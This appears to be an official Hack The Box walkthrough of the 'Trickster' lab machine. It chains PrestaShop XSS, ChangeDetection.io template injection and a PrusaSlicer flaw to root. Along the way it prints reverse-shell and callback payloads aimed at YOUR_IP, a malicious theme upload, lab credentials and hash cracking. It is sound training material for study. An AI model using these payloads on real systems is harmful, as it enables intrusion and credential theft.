0% found this document useful (0 votes)
6 views

Trickster

The document details the exploitation of a medium-difficulty Linux machine named Trickster, which features a vulnerable PrestaShop application. By exploiting CVE-2024-34716, attackers can gain access as the www-data user and further escalate privileges to root through various vulnerabilities and password cracking techniques. Key skills required include Linux fundamentals, web application security, and password cracking, with skills learned focusing on configuration file review and understanding CVE proofs of concept.

Uploaded by

Ivo Ponso
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
6 views

Trickster

The document details the exploitation of a medium-difficulty Linux machine named Trickster, which features a vulnerable PrestaShop application. By exploiting CVE-2024-34716, attackers can gain access as the www-data user and further escalate privileges to root through various vulnerabilities and password cracking techniques. Key skills required include Linux fundamentals, web application security, and password cracking, with skills learned focusing on configuration file review and understanding CVE proofs of concept.

Uploaded by

Ivo Ponso
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 21

Trickster

30th January 2025 / Document No D25.100.321

Prepared By: dotguy

Machine Author: EmSec

Difficulty: Medium

Synopsis
Trickster is a medium-difficulty Linux machine featuring a PrestaShop application vulnerable to
CVE-2024-34716. Exploiting this vulnerability grants access to the remote server as the www-data
user. Further enumeration reveals PrestaShop configuration files containing database credentials,
allowing us to dump and crack password hashes to obtain the password for user james . We can
then SSH into the server as james . A Docker container running ChangeDetection.io is also
present, vulnerable to CVE-2024-32651, which can be exploited to gain a root shell inside the
container. Inside the container, backup files from ChangeDetection.io reveal the password for user
adam , which allows SSH access as adam . Finally, privilege escalation to root is achieved by
exploiting CVE-2023-47268 in the PrusaSlicer tool.

Skills required
Linux Fundamentals

Web Application Security

Password Cracking

Skills learned
Reviewing configuration files

Understanding CVE PoCs

PrusaSlicer Exploitation
Enumeration
Nmap
Let's run an Nmap scan to discover any open ports on the remote host.

$ nmap -p- --min-rate=1000 -sC -sV 10.10.11.34

Starting Nmap 7.94SVN ( https://nmap.org )


Nmap scan report for 10.10.11.34
Host is up (0.19s latency).

PORT STATE SERVICE VERSION


22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://trickster.htb/

Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel

An initial Nmap scan reveals an SSH service on port 22 and an Apache server on port 80 .

HTTP
Upon browsing to port 80 , we are redirected to the domain trickster.htb .

Let's add an entry for trickster.htb in our /etc/hosts file with the corresponding IP address
to resolve the domain names and allow us to access it in our browser.
echo "10.10.11.34 `trickster.htb`" | sudo tee -a /etc/hosts

Upon visiting trickster.htb in the browser, we are greeted with the landing page of
TRICKSTER.HTB . The site provides an online shopping experience. There is a hyperlink to
shop.trickster.htb , which leads to the online shop.

Thus, let's also add an entry for shop.trickster.htb in our /etc/hosts file.

echo "10.10.11.34 `shop.trickster.htb`" | sudo tee -a /etc/hosts

We can now visit shop.trickster.htb to reach the online store's homepage.

Further enumeration leads us to the web page's footer, which reveals that the application is built
using PrestaShop .

What is PrestaShop?
PrestaShop is a free, open-source e-commerce platform that allows users to create and
manage online stores. It offers a range of customizable features, themes, and plugins to
support businesses in setting up and running their online shops efficiently.

We can also visit the /robots.txt directory, which is a file used by websites to provide
instructions to web crawlers about which parts of the site should not be indexed. By inspecting
this file, we can discover potentially sensitive or restricted endpoints that are disallowed for search
engines but may still be accessible. In this case, we find that the /.git endpoint is disallowed,
which could indicate the presence of a Git repository accessible on the server.

Upon visiting http://shop.trickster.htb/.git , we can confirm that it provides access to the Git
repository of the shop.trickster.htb application.
This repository may contain the application's source code, configuration files, or other sensitive
information, which could be leveraged to gain further insights into the application's functionality
or discover vulnerabilities. We can use the git-dumper utility to download the repository locally
and review the source code.

git-dumper http://shop.trickster.htb/.git shop.trickster.htb

The directory listing of the repository reveals a folder named admin634ewutrx1jgitlooaj , which
appears to be the admin directory. The unique naming suggests it might be an attempt to obscure
or secure the admin panel's location.

$ ls -l shop.trickster.htb

total 212
-rw-r--r-- 1 root root 5054 Jan 29 03:15 INSTALL.txt
-rw-r--r-- 1 root root 522 Jan 29 03:15 Install_PrestaShop.html
-rw-r--r-- 1 root root 183862 Jan 29 03:15 LICENSES
-rw-r--r-- 1 root root 863 Jan 29 03:15 Makefile
drwxr-xr-x 8 root root 380 Jan 29 03:15 admin634ewutrx1jgitlooaj
-rw-r--r-- 1 root root 1305 Jan 29 03:15 autoload.php
-rw-r--r-- 1 root root 2506 Jan 29 03:15 error500.html
-rw-r--r-- 1 root root 1169 Jan 29 03:15 index.php
-rw-r--r-- 1 root root 1256 Jan 29 03:15 init.php

Navigating to http://shop.trickster.htb/admin634ewutrx1jgitlooaj confirms that it leads to


the admin login page. This page discloses the version information of PrestaShop being used,
revealing that the application is running version 8.1.5 .

Upon running a Google search for exploits available for PrestaShop version 8.1.5, we discovered
that PrestaShop v8.1.5 is vulnerable to CVE-2024-34716. It is a cross-site scripting (XSS)
vulnerability that affects PrestaShops versions starting from 8.1.0 and before 8.1.6.
When the customer thread feature flag is enabled via the frontend contact form, an attacker can
exploit it to upload a malicious file containing an XSS payload. This payload is triggered when an
admin accesses the attached file in the backend. The injected script can then access the admin's
session and security token, enabling the attacker to perform any authenticated actions within the
scope of the administrator's privileges.

This blog post provides a detailed guide on exploiting the vulnerability, along with a PoC. It
explains that we need to upload a PNG image containing malicious embedded HTML/JavaScript
code to the /contact-us page and wait for the admin to click on the attachment to trigger an XSS.

Let's create a malicious PNG file named attack.png that contains a payload designed to send a
GET request to our listener.

$ cat attack.png

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Exploit</title>
</head>
<body>
<img src=x onerror=fetch('http://YOUR_IP/pwn/');>
</body>
</html>

Start a Netcat listener on port 80.

nc -nvlp 80

Then go to the Contact Us form and send a message with the attached malicious attack.png
file.

Within a minute, we receive a call back on our listener.


$ nc -nvlp 80

listening on [any] 80 ...


connect to [10.10.14.73] from (UNKNOWN) [10.129.30.160] 38714
GET /pwn/ HTTP/1.1
Host: 10.10.14.73
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) HeadlessChrome/125.0.6422.112 Safari/537.36
Accept: */*
Origin: http://shop.trickster.htb
Referer: http://shop.trickster.htb/
Accept-Encoding: gzip, deflate

This verifies that the application is vulnerable to CVE-2024-34716. Let us now use the attached PoC
in the blog to obtain a reverse shell. Clone the PoC Github repository.

git clone https://github.com/aelmokhtar/CVE-2024-34716.git

Make the necessary changes to the exploit.html file, like changing all instances of the admin
directory from /admin-dev to /admin634ewutrx1jgitlooaj and the website URL from
http://prestashop:8000 to http://shop.trickster.htb .

Additionally, we will need to replace the URL on line 79 with the address of our local server where
the theme file is hosted.

To create the malicious theme, we can modify the existing theme file in the repository. First, create
a new directory and unzip the current theme file into it.

mkdir theme_attack
cp ps_next_8_theme_malicious.zip theme_attack
cd theme_attack
unzip ps_next_8_theme_malicious.zip && rm ps_next_8_theme_malicious.zip

Here's the directory listing after unzipping the theme file.


$ ls -l theme_attack

total 8288
drwxr-xr-x 5 root root 4096 Mar 9 2023 _dev
-rw-r--r-- 1 root root 5490 Sep 26 17:12 a.php
drwxr-xr-x 7 root root 4096 Mar 9 2023 assets
drwxr-xr-x 2 root root 4096 Sep 10 19:16 config
drwxr-xr-x 3 root root 4096 Mar 9 2023 dependencies
drwxr-xr-x 36 root root 4096 Mar 9 2023 modules
-rw-r--r-- 1 root root 905111 Mar 9 2023 preview.png
drwxr-xr-x 9 root root 4096 Mar 9 2023 templates

Next, edit the a.php file, which contains a PHP reverse shell, and insert the IP address of our host
along with the listener port number. Let's now zip the malicious theme. When creating the zip file,
ensure that you include the .htaccess file, as it will enforce and allow access to the directory
where we host our reverse shell PHP.

zip -r ps_next_8_theme_malicious.zip .htaccess _dev a.php assets config


dependencies modules preview.png templates

Note
It will be required to update the name of the malicious theme in the exploit.html file if it's
been changed.

Now, we set up the Python HTTP server on port 80 as specified in the exploit.html file so the
theme can be fetched by the remote server.

python3 -m http.server 80

Run the exploit.

$ python3 exploit.py

[?] Please enter the URL (e.g., http://prestashop:8000):


http://shop.trickster.htb
[?] Please enter your email: [email protected]
[?] Please enter your message: hi
[?] Please provide the path to your HTML file: exploit.html
[X] Yay! Your exploit was sent successfully!
[X] Once a CS agent clicks on attachement, you'll get a SHELL

After about a minute, we receive a call back on our Python server, and we can see the uploaded
files upon navigating to the theme's directory at /themes/next .
Start a Netcat listener on port 1337 .

nc -nvlp 1337

As soon as we click on the a.php file, we receive a shell on our listener as user www-data .

connect to [10.10.14.73] from (UNKNOWN) [10.10.11.34] 41916


$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrade it to a TTY shell.

script /dev/null -c bash


export TERM=xterm
Control + Z
stty raw -echo && fg

Lateral Movement
We can find the PrestaShop config file at /var/www/prestashop/app/config/parameters.php ,
which reveals the database credentials.

www-data@trickster:/$ cat /var/www/prestashop/app/config/parameters.php

<?php return array (


'parameters' =>
array (
'database_host' => '127.0.0.1',
'database_port' => '',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'prest@shop_o',
'database_prefix' => 'ps_',
'database_engine' => 'InnoDB',

Let's connect to the database.


$ mysql -u ps_user -pprest@shop_o

Welcome to the MariaDB monitor. Commands end with ; or \g.


Your MariaDB connection id is 5820
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

We can see that there is a prestashop database present, so let's select it.

MariaDB [(none)]> show databases;


+--------------------+
| Database |
+--------------------+
| information_schema |
| prestashop |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use prestashop;


Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

We can list the tables to see if there's a ps_employee table present.

MariaDB [prestashop]> show tables;


+-------------------------------------------------+
| Tables_in_prestashop |
+-------------------------------------------------+
[** SNIP **]
| ps_emailsubscription |
| ps_employee |
| ps_employee_session |
[** SNIP **]

Let's retrieve the email and password of the employees.


MariaDB [prestashop]> SELECT email, passwd FROM ps_employee;
+---------------------+----------------------------------------------------------
----+
| email | passwd
|
+---------------------+----------------------------------------------------------
----+
| [email protected] |
$2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C |
| [email protected] |
$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm |
+---------------------+----------------------------------------------------------
----+
2 rows in set (0.000 sec)

We can crack the password hash for user james using JohnTheRipper.

$ cat james_hash
$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm

$ john -w=/usr/share/wordlists/rockyou.txt james_hash

Using default input encoding: UTF-8


Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
Cost 1 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alwaysandforever (?)
1g 0:00:00:04 DONE (2025-01-29 05:42) 0.2358g/s 8739p/s 8739c/s 8739C/s
angyalka..Victor
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We can try to log in via SSH as user james using the obtained password alwaysandforever .

$ ssh [email protected]

[email protected]'s password:
james@trickster:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)

The user flag can be obtained at /home/james/user.txt .

cat /home/james/user.txt

Listing the network interfaces reveals the presence of a Docker network, indicating the probable
existence of Docker containers running within this network.
james@trickster:~$ ifconfig

docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500


inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:db:df:fc:49 txqueuelen 0 (Ethernet)
RX packets 170 bytes 9976 (9.9 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 26 bytes 1092 (1.0 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

[** SNIP **]

Thus, let's download the Nmap binary on our local machine and transfer it via a Python server to
the remote host.

$ wget https://github.com/andrew-d/static-
binaries/raw/refs/heads/master/binaries/linux/x86_64/nmap

$ python3 -m http.server 8001


Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...

Fetch the Nmap binary on the remote host and assign it executable permissions.

james@trickster:~$ wget 10.10.14.73:8001/nmap


james@trickster:~$ chmod +x nmap

Let's run a Nmap scan over the entire docker network subnet.

james@trickster:/tmp$ ./nmap 172.17.0.0/24 -p-

Starting Nmap 6.49BETA1 ( http://nmap.org )

Nmap scan report for 172.17.0.1


Host is up (0.00097s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap scan report for 172.17.0.2


Host is up (0.0010s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
5000/tcp open unknown

Nmap done: 256 IP addresses (2 hosts up) scanned in 78.58 seconds

The scan discovered that port 5000 is open on host 172.17.0.2 . Thus, let's forward port
172.17.0.2:5000 to our local machine.

$ ssh [email protected] -L 5000:172.17.0.2:5000


[email protected]'s password: alwaysandforever
Accessing the forwarded port at localhost:5000 reveals the login page of the
ChangeDetection.io website.

What is ChangeDetection.io?

ChangeDetection.io is an open-source tool for monitoring website changes, allowing users to


track modifications to web pages and receive alerts when updates occur.

We can use James's password alwaysandforever to successfully log in to ChangeDetection.io .


We can also see a tag on the right side of the page, which reveals that the version of
ChangeDetection.io is 0.45.20 .

A Google search for exploits related to ChangeDetection.io v0.45.20 reveals CVE-2024-32651.


This vulnerability, caused by the unsafe use of Jinja2 functions, leads to Server-Side Template
Injection (SSTI), allowing remote command execution on the server host.

As per the PoC provided here, we need to create a new Notification with our malicious SSTI
payload in the Notification Body and our host's IP address in the Notification URL List . As
mentioned on the page itself, we can leverage the get:// protocol to interact with the application
by adding our IP address to the Notification URL List .

get://YOUR_IP

We can add the following SSTI payload to the Notification Body to obtain a reverse shell.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo
"#!/bin/bash\nbash -i >& /dev/tcp/YOUR_IP/1337 0>&1" > /tmp/shell.sh && /bin/bash
/tmp/shell.sh').read() }}

After filling in the relevant fields, save the changes and then return to Settings ->
Notifications .

Start a Netcat listener on port 1337.

$ nc -nvlp 1337

Now, when we click on Send test notification , our payload is executed, and we receive a call
back on our listener.
$ nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.30.160] 37282
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

root@a4b9a36ae7ff:/app# id
uid=0(root) gid=0(root) groups=0(root)

Enumeration of the Docker container reveals an interesting directory /datastore .

root@a4b9a36ae7ff:/# ls /

app boot dev home lib64 mnt proc run srv tmp var
bin datastore etc lib media opt root sbin sys usr

It appears that the ChangeDetection.io app's data is stored in this directory.

root@a4b9a36ae7ff:/# ls -l /datastore

total 40
drwxr-xr-x 2 root root 4096 Aug 31 08:56 Backups
drwxr-xr-x 2 root root 4096 Sep 19 11:44 b86f1003-3ecb-4125-b090-27e15ca605b9
drwxr-xr-x 2 root root 4096 Sep 19 11:44 bbdd78f6-db98-45eb-9e7b-681a0c60ea34
-rw-r--r-- 1 root root 64 Aug 30 20:21 secret.txt
-rw-r--r-- 1 root root 155 Aug 30 20:25 url-list-with-tags.txt
-rw-r--r-- 1 root root 73 Aug 30 20:25 url-list.txt
-rw-r--r-- 1 root root 14192 Jan 28 20:06 url-watches.json

In ChangeDetection.io, a "watch" refers to a web page or resource that the user has set up for
monitoring. The application periodically checks the watched pages for any changes and notifies
the user when updates are detected. ChangeDetection.io provides a backup feature for saved
watches. These backups are stored within the /datastore/ directory inside the Docker container.

root@a4b9a36ae7ff:/datastore# ls -l Backups/
total 44
-rw-r--r-- 1 root root 6221 Aug 31 08:53 changedetection-backup-
20240830194841.zip
-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-
20240830202524.zip

We can download these backup ZIP files by using python3 -m http.server . Since the Docker
container cannot directly access our attacker's machine, we can first download the backups from
James's session and then transfer the ZIP files via SSH as usual.

Upon unzipping the backups, we found that one of the old watches tracked file changes for
https://gitea/james/prestashop/src/branch/main/app/config/parameters.php .
$ ls -l changedetection-backup-20240830194841
total 32
drwxrwxr-x 2 dotguy dotguy 4096 Jan 29 06:43 b4a8b52d-651b-44bc-bbc6-
f9e8c6590103
-rw-r--r-- 1 dotguy dotguy 64 May 24 2024 secret.txt
-rw-r--r-- 1 dotguy dotguy 115 Aug 31 14:21 url-list-with-tags.txt
-rw-r--r-- 1 dotguy dotguy 74 Aug 31 14:22 url-list.txt
-rw-r--r-- 1 dotguy dotguy 13691 Aug 31 14:22 url-watches.json

$ cat changedetection-backup-20240830194841/url-list.txt
https://gitea/james/prestashop/src/branch/main/app/config/parameters.php

This file serves as the configuration file for the PrestaShop application store. Moreover, the files
linked to the watch ID b4a8b52d-651b-44bc-bbc6-f9e8c6590103 have a .txt.br extension,
which prevents them from being read as plain text.

$ ls -l changedetection-backup-20240830194841/b4a8b52d-651b-44bc-bbc6-
f9e8c6590103

total 20
-rw-r--r-- 1 dotguy dotguy 2605 Aug 31 05:17
f04f0732f120c0cc84a993ad99decb2c.txt.br
-rw-r--r-- 1 dotguy dotguy 51 Aug 31 05:17 history.txt

The .txt.br file extension indicates that the file is compressed using the Brotli compression
algorithm. Brotli is a compression format developed by Google that is primarily used for web
content to reduce file sizes and improve web page loading times. It's not an encryption method, so
files with the .br extension are not encrypted but are simply compressed. Brotli files can not
used with strings or cat tools to read the content of these files, so to access its content, we will
need to decompress it using a tool that supports Brotli compression. We can use Brotli for
this purpose and install it using the following command.

sudo apt-get install brotli

Let's now decompress the .br file.

brotli --decompress f04f0732f120c0cc84a993ad99decb2c.txt.br

After decompression, listing the directory contents reveals a .txt file.

$ ls -l changedetection-backup-20240830194841/b4a8b52d-651b-44bc-bbc6-
f9e8c6590103

total 20
-rw-r--r-- 1 dotguy dotguy 11866 Aug 31 05:17
f04f0732f120c0cc84a993ad99decb2c.txt
-rw-r--r-- 1 dotguy dotguy 2605 Aug 31 05:17
f04f0732f120c0cc84a993ad99decb2c.txt.br
-rw-r--r-- 1 dotguy dotguy 51 Aug 31 05:17 history.txt

With the file now in plaintext, we can access the configuration to discover Adam's password.
$ cat f04f0732f120c0cc84a993ad99decb2c.txt | head -n 50

[** SNIP **]

james/prestashop
'database_host' => '127.0.0.1' ,
'database_port' => '' ,
'database_name' => 'prestashop' ,
'database_user' => 'adam' ,
'database_password' => 'adam_admin992' ,
'database_prefix' => 'ps_' ,
'database_engine' => 'InnoDB' ,

[** SNIP **]

We can use the obtained password to log in as user Adam via SSH.

$ ssh [email protected]
[email protected]'s password:

adam@trickster:~$ id
uid=1002(adam) gid=1002(adam) groups=1002(adam)

Privilege Escalation
Checking the sudo permissions reveals that user Adam has the privilege to execute
/opt/PrusaSlicer/prusaslicer with root privileges.

adam@trickster:~$ sudo -l

Matching Defaults entries for adam on trickster:


env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/s
nap/bin, use_pty

User adam may run the following commands on trickster:


(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer

What is PrusaSlicer?

PrusaSlicer is an open-source slicing software developed by Prusa Research for 3D printing.


It converts 3D models into G-code, the instructions used by 3D printers. It supports various
printers, materials, and advanced features like custom supports and variable layer heights.

Directory listing of /opt/PrusaSlicer shows that it contains the prusaslicer binary and a file
called TRICKSTER.3mf . 3mf files are a 3D printing project format that stores detailed model data,
including materials, colors, and textures.
adam@trickster:/opt/PrusaSlicer$ ls -l /opt/PrusaSlicer/

total 82188
-rwxr-xr-x 1 root root 84018368 Sep 6 2023 prusaslicer
-rw-r--r-- 1 root root 138526 May 23 2024 TRICKSTER.3mf

Upon executing the prusaslicer binary, we can see its version as 2.6.1 and a message saying
Display not set, GUI mode not available , which is expected as we are dealing with a Ubuntu
server install.

adam@trickster:/opt/PrusaSlicer$ ./prusaslicer

DISPLAY not set, GUI mode not available.

PrusaSlicer-2.6.1+linux-x64-GTK2-202309060801 based on Slic3r (with GUI support)


https://github.com/prusa3d/PrusaSlicer

Usage: prusa-slicer [ ACTIONS ] [ TRANSFORM ] [ OPTIONS ] [ file.stl ... ]


Actions:

--export-3mf Export the model(s) as 3MF.


--export-amf Export the model(s) as AMF.

[** SNIP **]

A Google search reveals that PrusaSlicer 2.6.1 is vulnerable to CVE-2023-47268, which can
execute arbitrary code during a G-code export. The vulnerability targets the post-processing script
setting in the project, allowing a malicious user to create a harmful .3MF project. When the target
user exports G-code from this malicious project, arbitrary code can be executed. Thus, let's copy
over the two files locally for further examination. Set up the Python HTTP server on the remote
host.

python3 -m http.server 8001

Fetch the two files on our local machine.

wget 10.10.11.34:8001/prusaslicer
wget 10.10.11.34:8001/TRICKSTER.3mf

Running ./prusaslicer on our local machine opens a graphical interface (GUI) where we can
load the TRICKSTER.3mf project.
Then, activate expert mode to access the G-code script.

Next, navigate to Print Settings > Output options > Post-Processing scripts and enter
/bin/bash #; in the field.
Note -
The following error may be encountered when trying to run PrusaSlicer on this project.

adam@trickster:/tmp$ sudo /opt/PrusaSlicer/prusaslicer -s pwn.3mf

[** SNIP **]

88 => Estimating curled extrusions


88 => Generating skirt and brim
Failed processing of the output_filename_format template.
Parsing error at line 1: Non-integer index is not allowed to address a
vector
variable
{input_filename_base}_{nozzle_diameter[initial_tool]}n_{layer_height}mm_{pri
nting_filament_types}_{printer_model}_{print_time}.gcode

The error message indicates that there is a problem with the output filename format in
PrusaSlicer. The issue is due to a non-integer index being used to address a vector variable.
To fix this, we can either change the template to use a direct value or remove the
problematic part.

By simply removing {nozzle_diameter[initial_tool]}n) from the output filename


format, the error can be circumvented.

{input_filename_base}_{layer_height}mm_{printing_filament_types}_{printer_mo
del}_{print_time}.gcode

Save the project as pwn.3mf and then fetch it over to the remote host.
adam@trickster:/tmp$ wget 10.10.14.73/pwn.3mf

--2025-01-29 04:49:47-- http://10.10.14.73/pwn.3mf


Connecting to 10.10.14.73:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 137129 (134K) [application/vnd.ms-3mfdocument]
Saving to: ‘pwn.3mf’

pwn.3mf 100%[================================================>]
133.92K 229KB/s in 0.6s
(229 KB/s) - ‘pwn.3mf’ saved [137129/137129]

To trigger the payload within the pwn.3mf project, run the PrusaSlicer tool from the command line
with the -s (slicing) flag, which will begin executing the malicious code.

adam@trickster:/tmp$ sudo /opt/PrusaSlicer/prusaslicer -s pwn.3mf

10 => Processing triangulated mesh


10 => Processing triangulated mesh
20 => Generating perimeters
20 => Generating perimeters
30 => Preparing infill
30 => Preparing infill
45 => Making infill
10 => Processing triangulated mesh
20 => Generating perimeters

[** SNIP **]

Consider enabling supports.


Also consider enabling brim.
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to
TRICKSTER_0.2mm_{printing_filament_types}_MK4_{print_time}.gcode

id
uid=0(root) gid=0(root) groups=0(root)

The root flag can be obtained at /root/root.txt .

cat /root/root.txt

You might also like